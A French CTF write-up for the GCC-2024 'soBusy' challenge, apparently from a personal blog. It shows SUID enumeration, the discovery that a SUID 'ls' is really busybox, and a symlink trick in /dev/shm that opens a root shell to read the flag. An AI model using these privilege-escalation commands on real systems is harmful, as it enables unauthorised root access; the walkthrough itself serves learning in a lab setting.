MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

😅 soBusy

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

🚩 Avoir le flag

Nous arrivons sur une vm, nous savons que nous sommes dans un docker puisque nous avons un fichier .dockerenv à la racine du système.

Comme sur toute bonne vm dans laquelle nous arrivons, nous allons effectué des commandes de bases pour savoir ce que nous pouvons faire

Norlement, nous effectuon un linpeas.sh pour avoir un rapport complet de la machine. Cependant nous n'avons pas les permission d'écriture dans le /tmp/ et nous ne pouvons pas éxécuter de fichier que nous avons crée.

gcc2024@soBusy:~$ find / -perm /4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/ls
/usr/bin/passwd

C'est assez bizarre, de voir que nous avons /usr/bin/ls en SUID, nous allons donc essayer de l'éxécuter pour voir si nous pouvons faire quelque chose avec.

gcc2024@soBusy:~$ /usr/bin/ls -la /root
total 12
drwx------  2 root root 4096 Jan 22 12:51 .
drwxr-xr-x 19 root root 4096 Jan 22 12:51 ..
-rw-r--r--  1 root root   33 Jan 10  2024 flag.txt

Effectivement, notre ls est bien SUID, nous allons donc pouvoir éxécuter des commandes en tant que root mais uniquement avec notre ls.

Sauf que, ls ne permet pas de lire des fichiers ou alors d'éxécuter des fichiers...

Après une courte réfléxion, je me dis que je vais effectuer un ls, sur le fichier /usr/bin/ls pour voir si j'ai vraiment un binaire ls ou si c'est un binaire malicieux.

gcc2024@soBusy:~$ /usr/bin/ls -la /usr/bin/ls
-rwsr-xr-x 1 root root 188584 Jan 10  2024 /usr/bin/ls

C'est bien ce que je pensais, il ne faut pas se fier à la première impression, nous avons bien un binaire ls qui est SUID. Mais se n'est pas un vrai ls. Puisque un binaire ls devrait avoir cette taille:

MisTraleuh@/$ ls -la /bin/ls
-rwsr-sr-x 1 root root 138216 Jan  8 15:56 /usr/bin/ls

En effectuant un argument d'aide au ls, nous allons tomber sur un résultat surprenant:

gcc2024@soBusy:~$ /usr/bin/ls --help
Usage: ls [OPTION]... [FILE]...
Usage: busybox [function [arguments]...]
   or: busybox --list
      link to busybox for each function they wish to use and BusyBox
[...]

Nous avons alors un binare ls qui est aussi un binaire busybox, nous allons donc pouvoir éxécuter des commandes avec ce binaire ls qui est en réalité un binaire busybox.

Comme dis plus tôt, même si le répertoire /tmp/ n'est pas accessible en écriture, le répertoire /dev/shm lui l'est. Nous allons donc pouvoir éxécuter des commandes dans ce répertoire.

gcc2024@soBusy:~$ cd /dev/shm
gcc2024@sobusy:/dev/shm$ ln -s /usr/bin/ls busybox
gcc2024@sobusy:/dev/shm$ ./busybox /bin/sh
root# id
uid=0(root) gid=0(root) groups=0(root)
root# cat /root/flag.txt
GCC{BusyBox_H4s_M0r3_Opti0ns_Th4n_LS}

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github